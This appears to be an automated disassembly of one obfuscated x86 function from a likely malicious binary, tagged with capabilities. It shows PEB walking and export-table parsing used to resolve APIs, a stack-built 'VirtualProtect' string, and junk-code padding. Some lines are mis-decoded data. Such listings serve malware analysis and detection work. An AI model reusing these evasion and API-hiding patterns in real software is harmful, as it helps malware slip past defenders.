Function at 0x406f1d
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15fc], edx
jne 0x406342
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], eax
jmp 0x40660b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15fc]
cmp dword [ebp - 0x3f8], 0
je 0x4066e6
push esi
add esi, 0x7c1
and esi, 0x5717
or esi, 0xe8b4
add esi, 0x5a9c
pop esi
push esi
push ecx
add esp, 4
sub esi, 0xb57a
add esi, 0x126eb
or esi, 0x1542c
pop esi
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x19a8], eax
push edi
xor edi, 0x11042
jmp 0x406664
call 0x406672
add byte [ebp + 0x44], cl
inc edi
inc edx
dec edi
inc esi
inc ebx
inc ebp
add esp, 4
and edi, 0x15467
pop edi
push ecx
push edi
add esp, 4
sub ecx, 0x161bf
pop ecx
mov ecx, dword [ebp - 0x19a8]
mov dword [ebp - 0x19ac], ecx
lea edx, [ebp - 0x1740]
push edx
call dword [ebp - 0x19ac]
test eax, eax
jne 0x4066e6
push eax
push ebx
add esp, 4
xor eax, 0x116da
xor eax, 0xe8a5
pop eax
push esi
push esi
add esp, 4
sub esi, 0x6892
pop esi
push eax
or eax, 0xc3a5
sub eax, 0x134d6
or eax, 0x15ac7
pop eax
mov dword [ebp - 0x7a0], 0
jmp 0x406dd0
push esi
push esi
add esp, 4
sub esi, 0x1011d
jmp 0x4066f9
pop esi
push esi
push ebx
add esp, 4
or esi, 0x14dd1
or esi, 0x9e32
xor esi, 0x13f83
or esi, 0x7990
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19b0], eax
mov ecx, dword [ebp - 0x19b0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19b4], edx
mov eax, dword [ebp - 0x19b4]
mov dword [ebp - 0x1604], eax
push ebx
call 0x40674d
add byte [eax + 0x32], cl
inc esi
cmp bh, byte [edx]
aas
xor al, 0x83
les eax, [ebx + ebp*8]
add al, 0x35
xor al, byte [esi + 0x46]
pop ebx
push esi
sub esi, 0x2fe1
call 0x40676d
add byte [edi], bh
inc esi
dec esp
cmp byte [edi + 0x46], cl
dec eax
inc ebp
aas
add esp, 4
pop esi
cmp dword [ebp - 0x1604], 0
jne 0x406789
mov dword [ebp - 0x2d4], 0
jmp 0x406a30
mov ecx, dword [ebp - 0x1604]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb8], eax
push esi
jmp 0x4067a1
or esi, 0x16ab9
and esi, 0x12442
call 0x4067bb
add byte [ebx + 0x3f], al
cmp byte [edx], bh
cmp dword ds:[ecx + 0x40], eax
add esp, 4
pop esi
push esi
sub esi, 0x9fd
sub esi, 0x114c6
pop esi
cmp dword [ebp - 0xcb8], 0
jne 0x4067e5
mov dword [ebp - 0x2d4], 0
jmp 0x406a30
mov ecx, dword [ebp - 0xcb8]
mov dword [ebp - 0x510], ecx
push edx
push ecx
add esp, 4
sub edx, 0x5258
call 0x40680c
add byte [eax + 0x3a], dl
dec edx
dec ebp
dec edx
cmp ecx, dword [edx + 0x42]
cmp al, 0x83
les eax, [ecx + eax*4]
ljmp 0x515a
push ebx
push eax
add esp, 4
and ebx, 0xe877
pop ebx
push esi
push edx
add esp, 4
jmp 0x406a49
pop esi
push edx
push eax
add esp, 4
sub edx, 0x26c1
pop edx
push edx
push esi
add esp, 4
or edx, 0x17221
pop edx
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push edx
push edx
add esp, 4
add edx, 0xdc7a
jmp 0x406a85
jmp 0x406a8a
pop edx
push eax
push edi
add esp, 4
add eax, 0x21a7
xor eax, 0x7537
and eax, 0x16a3b
pop eax
mov dword [ebp - 0x774], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1610], edx
cmp dword [ebp - 0x1610], 0
jne 0x406ad3
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x406dc4
mov ecx, dword [ebp - 0x1610]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1614], edx
jne 0x406afb
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x406dc4
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1614]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1618], ecx
cmp dword [ebp - 0x1618], 0
jne 0x406b2d
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
jmp 0x406dc4
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1618]
mov dword [ebp - 0x768], eax
jne 0x406b52
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x514], ecx
jmp 0x406dc4
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19b8], eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19bc], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19c0], ecx
mov dword [ebp - 0x76c], 0
jmp 0x406bac
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x76c]
cmp ecx, dword [eax + 0x18]
jae 0x406db8
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19b8]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x770], ecx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19bc]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19c0]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d48], eax
mov dword [ebp - 0x198], 0
jmp 0x406c1c
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x406cce
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
test edx, edx
je 0x406cce
push esi
push ecx
add esp, 4
and esi, 0x12085
jmp 0x406c5c
and esi, 0x647
pop esi
push eax
push edx
add esp, 4
sub eax, 0x5d67
add eax, 0x9abb
and eax, 0xd537
pop eax
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
cmp ecx, eax
je 0x406cc0
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x87c]
cmp edx, ecx
jne 0x406cc7
jmp 0x406c0d
jmp 0x406cce
push edi
push edi
add esp, 4
or edi, 0xdd94
pop edi
push ebx
jmp 0x406ce0
pop ebx
push ecx
push eax
add esp, 4
call 0x406cf3
add byte [esi + 0x36403b3b], dh
cmp byte [ebx + 0x7eb04c4], al
cmp al, 0x3b
dec esp
dec edi
dec esp
xor eax, 0x90958b59
clc
invalid
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x7a0], eax
push edi
xor edi, 0x564f
sub edi, 0xabd
xor edi, 0xabcd
xor edi, 0x106f9
pop edi
push eax
push ebx
add esp, 4
call 0x406dfe
add byte [edx], dh
xor bh, byte [eax]
cmp byte [0x40393a50], dh
add esp, 4
pop eax
mov ecx, dword [ebp - 0x3e4]
add ecx, 0xe
mov dword [ebp - 0x1a10], ecx
push edx
push edi
add esp, 4
sub edx, 0xef4c
xor edx, 0xa290
call 0x406e31
add byte [ebx], dh
cmp eax, 0x4c4f3a40
cmp byte [ebp + 0x39], al
add esp, 4
add edx, 0xd6c8
pop edx
push ecx
and ecx, 0xefc
pop ecx
cmp dword [ebp - 0x3e4], 0
je 0x406e55
cmp dword [ebp - 0xac4], 0
jne 0x406e9b
push eax
call 0x406e63
add byte [edx + 0x4e], cl
inc ebp
dec edx
inc ecx
cmp byte [edi], dh
add esp, 4
call 0x406e75
add byte [ecx + 0x42], cl
inc edx
inc esi
dec ebp
cmp cl, byte [eax + 0x43]
dec ebx
add esp, 4
xor eax, 0xb491
pop eax
push esi
sub esi, 0x9030
pop esi
mov edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x19c4], edx
push 0
call dword [ebp - 0x19c4]
mov dword [ebp - 0x20dc], 0xa
push eax
push ecx
add esp, 4
sub eax, 0x13a13
pop eax
push esi
sub esi, 0x950a
pop esi
push edx
push edx
add esp, 4
add edx, 0xadb1
add edx, 0x6a0e
xor edx, 0xb2f8
add edx, 0xd87a
pop edx
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push ecx
xor ecx, 0x1741
pop ecx
push ecx
push ebx
add esp, 4
call 0x406f1d
add byte [edi + 0x35], cl
dec edx
inc eax
dec edx
dec ebx
dec eax
cmp al, byte [ebx + 0x525904c4]
jmp 0x406f2b
pop edx
push ebx
and ebx, 0x105c
pop ebx
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
test dword [0x74fffff6], esi
mov byte [ebp - 0x9ca], 0
push edx
push edx
add esp, 4
sub edx, 0x105b0
jmp 0x406faf
xor edx, 0xe853
pop edx
push ebx
push edi
add esp, 4
jmp 0x406fc3
add ebx, 0x2f3c
jmp 0x406fce
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x19c8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x19cc]
mov dword [ebp - 0x161c], eax
push edi
push edx
add esp, 4
xor edi, 0x180fd
xor edi, 0x161
sub edi, 0x9df2
pop edi
push eax
add eax, 0x14bfb
or eax, 0x30ac
or eax, 0xdbc8
xor eax, 0x13f88
pop eax
cmp dword [ebp - 0x161c], 0
jne 0x407040
mov dword [ebp - 0x2f4], 0
jmp 0x4072e7
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc8], eax
push edi
push edi
add esp, 4
jmp 0x40705d
jmp 0x407062
add edi, 0xae96
call 0x407078
add byte [eax + 0x49], al
inc ebx
dec edi
cmp al, byte [ebx + 0x3a]
push eax
push eax
push eax
add esp, 4
pop edi
push edx
jmp 0x407083
pop edx
cmp dword [ebp - 0xcc8], 0
jne 0x40709c
mov dword [ebp - 0x2f4], 0
jmp 0x4072e7
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx
push edi
or edi, 0x300b
xor edi, 0x315c
or edi, 0x1816b
xor edi, 0x167b9
pop edi
push edi
add edi, 0xc0b2
call 0x4070d6
add byte [eax + edx*2 + 0x41], al
xor edi, dword [esi]
dec esp
aas
add esp, 4
pop edi
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcc4], edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcc0], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push eax
add eax, 0xed84
add eax, 0x6766
pop eax
push edx
push ebx
add esp, 4
and edx, 0xf45f
pop edx
push edx
push edi
add esp, 4
or edx, 0x4f50
and edx, 0x33f7
or edx, 0x757f
pop edx
mov ecx, dword [ebp - 0xcc0]
mov dx, word [ecx]
mov word [ebp - 0x1042], dx
mov eax, dword [ebp - 0xcc0]
add eax, 2
invalid